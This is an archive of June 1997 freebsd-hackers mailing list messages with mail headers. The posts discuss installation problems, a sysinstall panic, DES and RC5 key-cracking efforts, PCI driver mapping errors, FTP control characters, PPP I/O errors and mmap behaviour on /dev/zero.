Precedence: bulk At 02:36 AM 6/23/97 -0800, Steve Howe wrote: > >i searched through the maillist archives, >handbook, and faq, and didn't see >much on c-programming i/o basics. >i'm sure it doesn't take an einstein, >but of course, i'm basing that on my >limited knowledge. i've only been >programming since 1981, not 1945, >and i only know about 10 languages, >not 100, and i've only been hacking >FBSD for 2 years ... not 20. > You've been hacking FreeBSD for 2 years and your asking questions like this!?!?! Sorry, but some of your questions sound more like you've never heard of a multitasking multi-user OS before. You really should pick up a book on unix and learn some of the basics here. It will certainly get you alot farther than you've gotten in the past 2 years. Brian Haskin From owner-freebsd-hackers Mon Jun 23 12:11:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA23033 for hackers-outgoing; Mon, 23 Jun 1997 12:11:55 -0700 (PDT) Received: from locutus.dimen.com (locutus.dimen.com [199.164.189.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA23023 for ; Mon, 23 Jun 1997 12:11:48 -0700 (PDT) Received: by locutus.dimen.com with Internet Mail Service (5.0.1389.3) id <01BC7FD6.E948C300@locutus.dimen.com>; Mon, 23 Jun 1997 13:11:07 -0600 Message-ID: <046A9C3CDFD9D011AB6D00A024DEE5D7022359@locutus.dimen.com> From: John Purser To: "'freebsd-hackers@freefall.cdrom.com'" Subject: Installation to a slave drive Date: Mon, 23 Jun 1997 13:11:05 -0600 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1389.3) Content-Type: text/plain Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello, I'm a very confused MSDos/Windows user looking for an education in Unix for business and personal reasons. On the recommendation of a co-worker I selected FreeBSD as an educational platform, picked up a set of CD's (Ver 2.15) and tried to Install to a slaved (D) 824 meg Western Digital EIDE drive on my home computer. The problem is I can't get the install program to recognize the slave drive. Would you give this knuckle dragging neophyte some advice on how to proceed? I've mailed the main FreeBSD organization but no response so far. I hope to hear from you. John Purser From owner-freebsd-hackers Mon Jun 23 12:22:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA23802 for hackers-outgoing; Mon, 23 Jun 1997 12:22:22 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA23794 for ; Mon, 23 Jun 1997 12:22:13 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id VAA10215; Mon, 23 Jun 1997 21:22:06 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id VAA28179; Mon, 23 Jun 1997 21:19:49 +0200 (MET DST) Message-ID: <19970623211949.IS47165@uriah.heep.sax.de> Date: Mon, 23 Jun 1997 21:19:49 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG (freebsd-hackers) Cc: un_x@anchorage.net (Steve Howe) Subject: Re: direct access References: <199706230608.PAA16120@genesis.atrad.adelaide.edu.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: hackers@FreeBSD.ORG (freebsd-hackers) In-Reply-To: ; from Steve Howe on Jun 23, 1997 04:14:04 -0800 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Steve Howe wrote: > i have code that lets me execute a function and > will list all devices connected via PC ports, and that is > highly desirable to me. But that's nothing you need a Unix environment for to run it. Boot DOS, and run the tool there. > haha! no, but i have no need for flow control at 9600 bps in a > 80x186 @ 8mhz with an 8250 in an "ethernet" type radio modem network. > thanks though - i appreciate your valuable information. Ok. That's enough -- you will be ignored now, at least by me. Sorry, i've got better use for my time than trying to give someone hints who simply doesn't want them. (Rm'ed the rest of the message without reading.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Jun 23 12:23:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA23973 for hackers-outgoing; Mon, 23 Jun 1997 12:23:56 -0700 (PDT) Received: from pandora.hh.kew.com (root@kendra.ne.highway1.com [24.128.53.73]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA23957 for ; Mon, 23 Jun 1997 12:23:37 -0700 (PDT) Received: (from root@localhost) by pandora.hh.kew.com (8.8.5/8.8.5) id PAA02667; Mon, 23 Jun 1997 15:23:24 -0400 (EDT) Date: Mon, 23 Jun 1997 15:23:24 -0400 (EDT) From: Drew Derbyshire Message-Id: <199706231923.PAA02667@pandora.hh.kew.com> To: avalon@coombs.anu.edu.au, hackers@FreeBSD.ORG Subject: Re: hmmm, 2.2.1 panic in ffs code ? :) Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 23 12:09:03 1997 > went to the menu option to write a disklabel (I have too many problems > with the command line program and I refuse to believe it works :) > wouldn't let me because I hadn't done fdisk partitions > so I did that but when I tried to write, it came back with an error > so I proceeded back to the disklabel part > did "w" to write the disklabel and when it went to fsck the > filesystem, it panic'd with a recursive entering of some ufs routine > (went by very quickly). > > anyone else seen that before or know why it might happen ? I experienced the first part of this ... disk label is (I believe) on the 'after installation menu', and yet it's check is in error, it would appear. It didn't panic on me when I did the fisk, it (I think) refused to do it with an odd error message. I had to use the edit option of the command line version, a truly scary experience. (This is like the same screen letting you go into the add packages and re-add the BIN dist, which also blasts /etc in multi-user mode, no less. Alas, I'm not up on CVS yet enough to hack a fix, and in any case I'm not gonna start with blowing up SYSINSTALL. ) -ahd- From owner-freebsd-hackers Mon Jun 23 12:24:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA24166 for hackers-outgoing; Mon, 23 Jun 1997 12:24:52 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.fr [193.56.58.253]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA24155 for ; Mon, 23 Jun 1997 12:24:48 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.fr [193.56.58.33]) by mexico.brainstorm.eu.org (8.8.4/8.8.4) with ESMTP id VAA28983 for ; Mon, 23 Jun 1997 21:24:43 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.8.4/8.6.12) with UUCP id VAA32127 for hackers@FreeBSD.ORG; Mon, 23 Jun 1997 21:24:34 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.6/keltia-uucp-2.9) id UAA01139; Mon, 23 Jun 1997 20:47:23 +0200 (CEST) Message-ID: <19970623204723.39016@keltia.freenix.fr> Date: Mon, 23 Jun 1997 20:47:23 +0200 From: Ollivier Robert To: hackers@FreeBSD.ORG Subject: Re: RSA5 Encryption Cracked.. References: <199706210835.OAA00684@hq.icb.chel.su> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: ; from Ben Black on Sat, Jun 21, 1997 at 05:24:11PM -0400 X-Operating-System: FreeBSD 3.0-CURRENT ctm#3392 AMD-K6 MMX @ 208 MHz Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Ben Black: > i think you mean differential cryptanalysis which under certain > circumstances can reduce the effective keyspace. it is not broadly > applicable and is rather constrained. 3DES (triple DES) will be an > actual gov't standard shortly. Anyway, DES is very immune to differential analysis. When it was designed, many people thought the NSA was installing a back door when they made IBM change the design of the S-Boxes. With the classic 16-round DES, you need 2**47 of chosen-plaintext... Years after, we learned that the NSA and IBM were aware of differential analysis 10 years before it was "discovered" by Shamir and that why DES was modified. All in one, DES is a very good cipher. Showing its age now but still good. > NSA is also releasing a new gov't encryption standard (i forget the name, > starts with A...AES?) I don't think it is coming from the NSA. NIST is writing a paper on what the next government approved cipher should be. I have the URL of the draft at work. It says it should accept key sizes of 128/128, 192/192 and 256/256 bits. See the discussion in sci.crypt. -- Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #20: Fri Jun 13 00:16:13 CEST 1997 From owner-freebsd-hackers Mon Jun 23 12:24:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA24197 for hackers-outgoing; Mon, 23 Jun 1997 12:24:58 -0700 (PDT) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.fr [193.56.58.253]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA24157 for ; Mon, 23 Jun 1997 12:24:48 -0700 (PDT) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.fr [193.56.58.33]) by mexico.brainstorm.eu.org (8.8.4/8.8.4) with ESMTP id VAA28980 for ; Mon, 23 Jun 1997 21:24:43 +0200 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.8.4/8.6.12) with UUCP id VAA32128 for hackers@FreeBSD.ORG; Mon, 23 Jun 1997 21:24:34 +0200 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.6/keltia-uucp-2.9) id UAA01148; Mon, 23 Jun 1997 20:49:37 +0200 (CEST) Message-ID: <19970623204937.38982@keltia.freenix.fr> Date: Mon, 23 Jun 1997 20:49:37 +0200 From: Ollivier Robert To: hackers@FreeBSD.ORG Subject: Re: FreeBSD cracks DES ! References: <19970620143541.17175@vinyl.quickweb.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76 In-Reply-To: ; from Brian Tao on Sat, Jun 21, 1997 at 07:07:52PM -0400 X-Operating-System: FreeBSD 3.0-CURRENT ctm#3392 AMD-K6 MMX @ 208 MHz Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Brian Tao: > Neato! Now let's see if a FreeBSD machine will claim the prize > for the 56-bit RC5 challenge too. :) RC5 is a much slower algorithm so the keyspace is much less exhausted than the DES' one. Even if one found the key at 25% like for the DES, it will take years... -- Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #20: Fri Jun 13 00:16:13 CEST 1997 From owner-freebsd-hackers Mon Jun 23 12:25:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA24292 for hackers-outgoing; Mon, 23 Jun 1997 12:25:23 -0700 (PDT) Received: from tor-adm1.nbc.netcom.ca (taob@tor-adm1.nbc.netcom.ca [207.181.89.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA24268 for ; Mon, 23 Jun 1997 12:25:14 -0700 (PDT) Received: from localhost (taob@localhost) by tor-adm1.nbc.netcom.ca (8.8.5/8.8.5) with SMTP id PAA19580; Mon, 23 Jun 1997 15:24:19 -0400 (EDT) Date: Mon, 23 Jun 1997 15:24:19 -0400 (EDT) From: Brian Tao To: Mark Tinguely cc: freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD in PC World In-Reply-To: <199706231340.IAA24859@plains.NoDak.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, Mark Tinguely wrote: > > In an article about Cadera Linux in the June 16, 1997 PC World FYI: http://www8.zdnet.com/pcweek/reviews/0616/16linux.html -- Brian Tao (BT300, taob@netcom.ca) "Though this be madness, yet there is method in't" From owner-freebsd-hackers Mon Jun 23 12:35:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA25011 for hackers-outgoing; Mon, 23 Jun 1997 12:35:30 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA25002 for ; Mon, 23 Jun 1997 12:35:23 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wgEsV-0006H3-00; Mon, 23 Jun 1997 13:34:19 -0600 To: Terry Lambert Subject: Re: OpenBSD Cc: spork@super-g.com, black@zen.cypher.net, mrcpu@cdsnet.net, hackers@freebsd.org In-reply-to: Your message of "Mon, 23 Jun 1997 11:11:55 PDT." <199706231811.LAA01010@phaeton.artisoft.com> References: <199706231811.LAA01010@phaeton.artisoft.com> Date: Mon, 23 Jun 1997 13:34:18 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199706231811.LAA01010@phaeton.artisoft.com> Terry Lambert writes: : Have you clarified for them the "bad fixes"? Of course. Mostly, however, this is my term for fixes that were later reverted or modified to be correct. Only once can I recall beating others to the modification of the fix, and then I went ahead and committed it there. Warner From owner-freebsd-hackers Mon Jun 23 13:34:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA28782 for hackers-outgoing; Mon, 23 Jun 1997 13:34:58 -0700 (PDT) Received: from pluto.plutotech.com (root@pluto100.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA28777 for ; Mon, 23 Jun 1997 13:34:56 -0700 (PDT) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.8.5/8.8.5) with ESMTP id OAA22485; Mon, 23 Jun 1997 14:34:43 -0600 (MDT) Message-Id: <199706232034.OAA22485@pluto.plutotech.com> X-Mailer: exmh version 2.0beta 12/23/96 To: Simon Shapiro cc: FreeBSd-Hackers@FreeBSD.ORG Subject: Re: I/O Errors with PPP In-reply-to: Your message of "Mon, 23 Jun 1997 12:00:26 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 23 Jun 1997 15:33:45 -0600 From: "Justin T. Gibbs" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Hi Y'all, > >This is a continuation of a problem we encounter when running the new DPT >SCSI driver on a Pentium Pro machine. What is the wait channel that the processes are sleeping on? ps -l will give you this information if the machine is still running, and ps from DDB will also give it to you. -- Justin T. Gibbs =========================================== FreeBSD: Turning PCs into workstations =========================================== From owner-freebsd-hackers Mon Jun 23 13:36:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA28976 for hackers-outgoing; Mon, 23 Jun 1997 13:36:36 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA28971 for ; Mon, 23 Jun 1997 13:36:32 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wgFqI-0006cS-00; Mon, 23 Jun 1997 14:36:06 -0600 To: "Jeffrey J. Mountin" Subject: Re: SPAM target Cc: "Daniel O'Callaghan" , Adrian Chadd , hackers@freebsd.org In-reply-to: Your message of "Sat, 03 May 1997 08:47:31 CDT." <3.0.32.19970503084731.00c08d2c@mixcom.com> References: <3.0.32.19970503084731.00c08d2c@mixcom.com> Date: Mon, 23 Jun 1997 14:36:06 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <3.0.32.19970503084731.00c08d2c@mixcom.com> "Jeffrey J. Mountin" writes: : I saw one spammer keep hitting us from different relays, sat back, and : decided that I'd saved myself a few hundred bounce mails. We're *still* getting 65k packets a day from a well known spammer because they can't configure their machines properly. And it is eating our link up! 1% of our link is now always used by this bozo, which plays hell with our FTPs due to its bursty nature causing TCP segment losses which requires retransmission :-( Warner From owner-freebsd-hackers Mon Jun 23 13:46:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA29541 for hackers-outgoing; Mon, 23 Jun 1997 13:46:52 -0700 (PDT) Received: from Sisyphos.MI.Uni-Koeln.DE (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA29515; Mon, 23 Jun 1997 13:45:53 -0700 (PDT) Received: from x14.mi.uni-koeln.de (annexr3-1.slip.Uni-Koeln.DE) by Sisyphos.MI.Uni-Koeln.DE with SMTP id AA26597 (5.67b/IDA-1.5); Mon, 23 Jun 1997 22:44:21 +0200 Received: (from se@localhost) by x14.mi.uni-koeln.de (8.8.5/8.6.9) id WAA06203; Mon, 23 Jun 1997 22:44:18 +0200 (CEST) X-Face: " Date: Mon, 23 Jun 1997 22:44:17 +0200 From: Stefan Esser To: Chris Csanady Cc: hackers@FreeBSD.ORG, Stefan Esser Subject: Re: pci_map_mem failed... References: <199706201726.MAA15908@friley01.res.iastate.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 In-Reply-To: <199706201726.MAA15908@friley01.res.iastate.edu>; from Chris Csanady on Fri, Jun 20, 1997 at 12:26:11PM -0500 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Jun 20, Chris Csanady wrote: > I am working on an ethernet driver, but when I try to > map the cards registers, I get the following.. > > pci_map_mem failed: device's memrange 0x6100-0x61ff is incompatible with its > bridge's memrange 0x2000000-0xffffffff > > There seems to be some comment in German in pci.c about > this case, so I was wondering if something is broken.. Well, don't worry about that comment in German. I put it in, when I was not sure about a reported problem being real, but that comment is of no good use to anybody anymore :) > If not, what am I doing wrong here? The address range seems to be invalid for a memory mapped region, since it obviously conflicts with system RAM. As somebody else already mentioned, this might actually be a port map, but there should have been a warning that you are trying to map a "bad memory type". Please send me a *verbose* boot message log and your attach code, at least the part that contains the call to pci_map_mem(). This will allow me to understand what's going on ... Regards, STefan From owner-freebsd-hackers Mon Jun 23 13:47:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA29582 for hackers-outgoing; Mon, 23 Jun 1997 13:47:30 -0700 (PDT) Received: from Sisyphos.MI.Uni-Koeln.DE (Sisyphos.MI.Uni-Koeln.DE [134.95.212.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA29540; Mon, 23 Jun 1997 13:46:51 -0700 (PDT) Received: from x14.mi.uni-koeln.de (annexr3-1.slip.Uni-Koeln.DE) by Sisyphos.MI.Uni-Koeln.DE with SMTP id AA26631 (5.67b/IDA-1.5); Mon, 23 Jun 1997 22:46:43 +0200 Received: (from se@localhost) by x14.mi.uni-koeln.de (8.8.5/8.6.9) id WAA06221; Mon, 23 Jun 1997 22:46:40 +0200 (CEST) X-Face: " Date: Mon, 23 Jun 1997 22:46:39 +0200 From: Stefan Esser To: Joerg Wunsch Cc: hackers@FreeBSD.ORG, Stefan Esser Subject: Re: pci_map_mem failed... References: <199706201726.MAA15908@friley01.res.iastate.edu> <19970621160401.FP36358@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 In-Reply-To: <19970621160401.FP36358@uriah.heep.sax.de>; from J Wunsch on Sat, Jun 21, 1997 at 04:04:01PM +0200 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Jun 21, J Wunsch wrote: > As Chris Csanady wrote: > > > There seems to be some comment in German in pci.c about > > this case, so I was wondering if something is broken.. > > /* ACHTUNG: Ist der Code richtig, wenn eine PCI-PCI-Bridge fuer > * die PCI-Slots verwendet wird, aber die Onboard-Devices direkt > * an der CPU-PCI-Bridge haengen (Siehe Compaq Prolinea Problem) ??? > */ > > /* > * Attention: is this code indeed correct when using a PCI-to-PCI > * bridge for the PCI slots, where the onboard devices connect > * directly to the CPU-PCI bridge (see Compaq Prolinea problem)? > */ > > Somebody feel free to commit the translation. No, please don't ! I'll remove it next time I log in on Freefall to do some commits, since it got no meaning anymore ... Regards, STefan From owner-freebsd-hackers Mon Jun 23 14:12:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA00805 for hackers-outgoing; Mon, 23 Jun 1997 14:12:04 -0700 (PDT) Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA00734; Mon, 23 Jun 1997 14:11:29 -0700 (PDT) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.8.5/8.8.5) with SMTP id QAA07306; Mon, 23 Jun 1997 16:09:00 -0500 (EST) Date: Mon, 23 Jun 1997 16:09:00 -0500 (EST) From: John Fieber To: Warner Losh cc: Brian Somers , Annelise Anderson , Chuck Robey , "Jordan K. Hubbard" , kleon@bellsouth.net, freebsd-hackers@FreeBSD.ORG, freebsd-doc@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Does FTP mangle ^H? (was Re: Handbook - ascii form??) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, Warner Losh wrote: > In message John Fieber writes: > : 6) If the ^H is missing from a downloaded file, chances are it > : got stripped rogue software. Claims were made that this > : did indeed happen, but I don't believe the details of the > : software used were mentioned--these are essential things to > : provide with any bug report. > > I believe that the FTP standard states that ASCII mode is for text > files that are a series of non-control characters followed by a line > terminator. >From RFC 959, describing ASCII transmission: The sender converts the data from an internal character representation to the standard 8-bit NVT-ASCII representation (see the Telnet specification). The receiver will convert the data from the standard form to his own internal form. In accordance with the NVT standard, the sequence should be used where necessary to denote the end of a line of text. (See the discussion of file structure at the end of the Section on Data Representation and Storage.) This says nothing about treatment of control characters beyond that line endings, if present, should be CRLF. The referenced telnet specification defines what a client should do upon receiving a ^H, which implies that a ^H should be able pass from the server to the client through NVT-ASCII intact. The FTP specification itself defines specific meanings of a variety of ASCII control characters for an optional variant of the ASCII mode which also implies they should come through the pipe intact. I've tried transfering the files in question using ASCII mode with several ftp clients and in all cases, the ^H characters come through intact. Can someone point to some *specific* ftp clients that strip the ^H in ASCII mode? Puzzled :-/ -john From owner-freebsd-hackers Mon Jun 23 14:30:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA01766 for hackers-outgoing; Mon, 23 Jun 1997 14:30:40 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA01761 for ; Mon, 23 Jun 1997 14:30:36 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id OAA23257; Mon, 23 Jun 1997 14:23:29 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd023255; Mon Jun 23 21:23:23 1997 Message-ID: <33AEE903.2781E494@whistle.com> Date: Mon, 23 Jun 1997 14:22:11 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Simon Shapiro CC: FreeBSd-Hackers@FreeBSD.ORG Subject: Re: I/O Errors with PPP References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Simon Shapiro wrote: > > Hi Y'all, > > This is a continuation of a problem we encounter when running the new DPT > SCSI driver on a Pentium Pro machine. > > To make long stories short, here is what we did: > > * Setup kernel PPP session to our favorite ISP. We tried, V34, 64K ISDN > and 128Kb ISDN. Same result. > y'know one of the effects of running ppp is to OR together the interrupt masks for splimp() and spltty() so that they effectively are the same mask. I'm not sure if this is done at boot time or when ppp is started, but it might be worth checking out. (not that you are running at splimp or spltty, but there might be some side-effect that I'm not aware of) julian From owner-freebsd-hackers Mon Jun 23 14:34:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA01975 for hackers-outgoing; Mon, 23 Jun 1997 14:34:06 -0700 (PDT) Received: from helmholtz.salk.edu (helmholtz.salk.edu [198.202.70.34]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA01966 for ; Mon, 23 Jun 1997 14:34:04 -0700 (PDT) Received: from pauling.salk.edu (pauling [198.202.70.108]) by helmholtz.salk.edu (8.7.5/8.7.3) with SMTP id OAA29670 for ; Mon, 23 Jun 1997 14:19:48 -0700 (PDT) Date: Mon, 23 Jun 1997 14:19:46 -0700 (PDT) From: Tom Bartol To: hackers@freebsd.org Subject: Installation tape organization Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I'd like to download the installation files for freebsd-current and make my own installation tape on a QIC-150 scsi tape drive. Where can I find documentation on how such a tape should be organized? I'd like the tape I make to be compatible with the "install from scsi tape" installation option from the freebsd installation floppy. I might also be interested in burning my own CDROMs so the same info as it applies to CDROMs would also be helpful. Thanks much for your help, Tom From owner-freebsd-hackers Mon Jun 23 14:56:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA03323 for hackers-outgoing; Mon, 23 Jun 1997 14:56:47 -0700 (PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA03311 for ; Mon, 23 Jun 1997 14:56:37 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.5/8.8.5) id OAA00959; Mon, 23 Jun 1997 14:55:43 -0700 (PDT) Message-ID: <19970623145542.29255@hydrogen.nike.efn.org> Date: Mon, 23 Jun 1997 14:55:42 -0700 From: John-Mark Gurney To: Terry Lambert Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: problem with /dev/zero and mmap?? References: <19970623030040.50241@hydrogen.nike.efn.org> <199706231748.KAA00960@phaeton.artisoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199706231748.KAA00960@phaeton.artisoft.com>; from Terry Lambert on Mon, Jun 23, 1997 at 10:48:48AM -0700 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Terry Lambert scribbled this message on Jun 23: > > well.. I was just experimenting with mmap and discovered that something > > works when it shouldn't: > > > > fd=open("/dev/zero", O_RDONLY, 0); > > base=mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0); > > base[0]=4; > > > > the above won't cause a bus error.. but replace /dev/zero with a normal > > file and it will fail as expected (with a Bus error)... shouldn't the > > mmap behave the same?? if you try and write to the fd, it will set > > errno to EBADF, just like the man page says... > > > > well... I am looking at sys/vm/vm_mmap.c, and it looks like that special > > hack for SunOS (on line 228) is a bit to early... or does sunos require > > that you be able to do the above? > > > > I know it's minor, but it encorages bad programming, and someone might > > use code similar to the above and wonder why it stops working when they > > switch to a normal file, or other char device... > > This use of /dev/zero is a "well known hack" for obtaining zero > filled anonymous pages from swap. yes... I read the comment, and I know how I hacked phkmalloc to get it to work under Solaris... :) > When you map pages from /dev/zero, you create a mapped page address > range which, even though it is MAP_SHARED is local only to your > process (you *can* cause child processes to inherit a shared > copy of this region using rfork() to implement your "fork()" > instead of calling it directly). > The write succeeds because pages you mapped are not associated with > the fd after the mapping. no.. the write succeeds because the permission checking isn't done early enough in the mapping process... didn't you look at the code I sited?? > If things behaved as you wanted, there would be two possible > consequences: > > 1) You would modify the contents of /dev/zero for other > users of the device. This is not acceptable. it's VERY obvious that you never read my complete message... because if you had you would of read that ALL I propose was to move the test of if it's /dev/zero to below the permission checking... I don't propse anything else... if you want to look at the code yourself (which I could send you the neccessary parts if your unable to use the web to get a copy) lines 228-255 in file srcy/sys/vm/vm_mmap.c, rev 1.64... (oh, I'm sorry but the previous stated line was one off as I was using an older version, sorry if that confused you) > 2) The mmap() would fail because of the conflict between > O_RDONLY and PROT_WRITE. yes.. this second one is what I want... you specificly opened the file for read only access.. and that is what you should get... the permissions on /dev/zero permit you to open it read/write so why don't you?? > Either of these would render your request useless, since you > can get "read-only zeros" much easier using memset()/mprotect(). I'm just pointing out a "usage" error that might encourage people to do stupid things in the future... coming to use, it used to work, why don't it contiue to work... and anybody stupid enough to expect to write to a RDONLY descriptor needs to learn a bit more about permissions... Terry, PLEASE read the code I sited... this bit of code is SO easy to understand, it isn't even funny... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Mon Jun 23 15:31:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA04678 for hackers-outgoing; Mon, 23 Jun 1997 15:31:06 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA04657; Mon, 23 Jun 1997 15:30:48 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id PAA25063; Mon, 23 Jun 1997 15:11:12 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd025057; Mon Jun 23 